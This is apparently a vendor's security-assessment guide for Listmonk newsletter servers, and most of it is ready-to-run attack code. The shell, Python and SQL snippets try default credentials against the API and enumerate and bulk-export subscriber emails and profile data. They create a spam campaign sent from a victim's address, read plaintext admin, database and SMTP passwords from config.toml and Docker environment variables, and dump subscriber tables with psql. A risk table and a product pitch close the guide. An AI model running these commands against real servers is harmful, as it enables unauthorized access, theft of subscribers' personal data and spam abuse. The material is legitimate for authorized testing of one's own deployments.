Listmonk is a widely deployed open-source self-hosted newsletter and mailing list manager — it stores all subscriber email addresses, names, and custom profile attributes. The critical issue: admin/listmonk are the documented default credentials that many deployments never change. Key assessment areas also include: the REST API with basic authentication provides complete access to all subscriber lists and campaign management; SMTP credentials stored in config.toml enable spam abuse once compromised; subscriber PII (emails, custom attributes including demographics, purchase history, and preferences) is stored in PostgreSQL; and API access enables bulk subscriber export. Listmonk compromise constitutes a GDPR data breach affecting all mailing list members. This guide covers systematic Listmonk security assessment.
# Listmonk — default credentials and API authentication testing
LISTMONK_URL="https://listmonk.example.com"
# Test documented default credentials (admin/listmonk)
for CRED in "admin:listmonk" "admin:admin" "admin:password" "listmonk:listmonk"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
STATUS=$(curl -s -u "${USER}:${PASS}" \
"${LISTMONK_URL}/api/lists?page=1&per_page=1" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
if d.get('data'):
total=d['data'].get('total',0)
print(f'OK — {total} lists')
elif 'Unauthorized' in str(d) or 'error' in str(d).lower():
print('FAIL')
else:
print(str(d)[:60])
" 2>/dev/null)
echo "${USER}/${PASS}: ${STATUS}"
done
# Listmonk API uses HTTP Basic Auth with admin credentials
# Test API access with valid credentials
curl -s -u "admin:listmonk" "${LISTMONK_URL}/api/users" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('data',{}).get('results',[])
print(f'Users: {len(users)}')
for u in users[:5]:
print(f' [{u.get(\"id\")}] {u.get(\"name\")} {u.get(\"email\")} role={u.get(\"role\")}')
" 2>/dev/null
# Check if admin interface is publicly accessible
curl -s -o /dev/null -w "%{http_code}" "${LISTMONK_URL}/admin" 2>/dev/null
# 200 = admin accessible (should require login)
# 302 = redirect to login
# Listmonk API — subscriber PII and campaign enumeration
LISTMONK_URL="https://listmonk.example.com"
# HTTP Basic Auth (admin credentials required)
AUTH="-u admin:listmonk"
# Get all mailing lists
curl -s ${AUTH} "${LISTMONK_URL}/api/lists?page=1&per_page=100" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
lists = d.get('data',{}).get('results',[])
total = d.get('data',{}).get('total',0)
print(f'Lists: {total} total, showing {len(lists)}')
for l in lists[:10]:
print(f' [{l.get(\"id\")}] {l.get(\"name\")} type={l.get(\"type\")} count={l.get(\"subscriber_count\")} optin={l.get(\"optin\")}')
" 2>/dev/null
# Export ALL subscribers — paginate through all pages
# Each subscriber includes email, name, custom attributes (attribs JSON)
curl -s ${AUTH} "${LISTMONK_URL}/api/subscribers?page=1&per_page=100" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d.get('data',{})
subs = data.get('results',[])
total = data.get('total',0)
print(f'Subscribers: {total} total (showing {len(subs)})')
for s in subs[:10]:
print(f' [{s.get(\"id\")}] {s.get(\"email\")} name={s.get(\"name\")} status={s.get(\"status\")}')
# attribs: custom profile JSON — may contain: age, country, plan, purchase_count,
# phone, company, revenue_tier, last_login, etc.
attribs = s.get('attribs',{})
if attribs:
print(f' attribs: {str(attribs)[:80]}')
" 2>/dev/null
# Download subscriber export (CSV with all PII)
curl -s ${AUTH} "${LISTMONK_URL}/api/subscribers/export" 2>/dev/null | head -5
# List all campaigns
curl -s ${AUTH} "${LISTMONK_URL}/api/campaigns?page=1&per_page=50" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
campaigns = d.get('data',{}).get('results',[])
total = d.get('data',{}).get('total',0)
print(f'Campaigns: {total} total')
for c in campaigns[:5]:
print(f' [{c.get(\"id\")}] {c.get(\"name\")} status={c.get(\"status\")} sent={c.get(\"send_count\")} type={c.get(\"type\")}')
" 2>/dev/null
# Abuse SMTP — send campaign to attacker-controlled list using Listmonk's SMTP
# Create campaign, set to attacker list, trigger send
curl -s -X POST ${AUTH} "${LISTMONK_URL}/api/campaigns" \
-H "Content-Type: application/json" \
-d '{
"name": "Test",
"subject": "Test",
"lists": [1],
"from_email": "admin@victim.com",
"body": "Spam content",
"content_type": "html",
"type": "regular"
}' 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Campaign: {d.get(\"data\",{}).get(\"id\")}')
" 2>/dev/null
# Listmonk config.toml and PostgreSQL credential extraction
# config.toml — Listmonk main configuration file (plaintext)
cat /listmonk/config.toml 2>/dev/null
# Contains ALL configuration in plaintext:
# [app]
# admin_username = "admin"
# admin_password = "listmonk" <-- default credential in plaintext
# [db]
# host = "db"
# port = 5432
# user = "listmonk"
# password = "listmonk" <-- DB password in plaintext
# database = "listmonk"
# [smtp]
# host = "smtp.example.com"
# port = 587
# auth_protocol = "login"
# username = "smtp-user"
# password = "smtp-password" <-- SMTP credentials in plaintext
# Docker environment variables
docker inspect listmonk 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['LISTMONK','DB_','POSTGRES','SMTP','PASSWORD','SECRET']):
print(e)
" 2>/dev/null
# PostgreSQL — all subscriber data
DB_URL="postgresql://listmonk:listmonk@localhost/listmonk"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All subscribers with PII
SELECT id, uuid, email, name, attribs,
status, created_at, updated_at
FROM subscribers
ORDER BY created_at DESC
LIMIT 30;
EOF
-- attribs JSONB column: custom subscriber attributes (may contain demographics,
-- purchase history, plan tier, phone number, company, etc.)
# All mailing list subscriptions
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT s.email, s.name,
l.name as list_name,
sl.status as subscription_status,
sl.created_at
FROM subscriber_lists sl
JOIN subscribers s ON sl.subscriber_id = s.id
JOIN lists l ON sl.list_id = l.id
ORDER BY sl.created_at DESC
LIMIT 30;
EOF
# SMTP settings stored in settings table
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT key, value FROM settings
WHERE key LIKE '%smtp%' OR key LIKE '%email%';
EOF
| Security Test | Method | Risk |
|---|---|---|
| Default admin/listmonk credential access | HTTP Basic Auth with admin:listmonk — documented default; provides full admin access to all subscribers, lists, campaigns, and settings including SMTP configuration | Critical |
| Subscriber PII bulk export | GET /api/subscribers/export — all subscriber emails, names, and custom attributes as CSV; full GDPR-regulated data breach in single API call | Critical |
| config.toml plaintext credential extraction | Read /listmonk/config.toml — admin password, PostgreSQL password, and SMTP credentials all stored in plaintext; single file compromise yields all secrets | Critical |
| SMTP credential extraction and sending abuse | config.toml smtp section — hostname, username, password in plaintext; enables sending spam/phishing from victim's trusted email domain causing deliverability damage | High |
| PostgreSQL subscriber attribs extraction | SELECT email, name, attribs FROM subscribers — complete mailing list with custom profile JSON data including any demographics, purchase data, or additional PII collected at subscription | High |
Ironimo tests Listmonk deployments for default admin/listmonk credential access, config.toml plaintext credential extraction (admin password, PostgreSQL password, SMTP credentials), subscriber PII bulk export via API, PostgreSQL subscribers table including custom attribs PII, SMTP abuse potential for spam sending from trusted domain, campaign management unauthorized access, subscriber list enumeration, Docker environment variable exposure, and API rate limiting assessment for bulk data extraction prevention.
Start free scan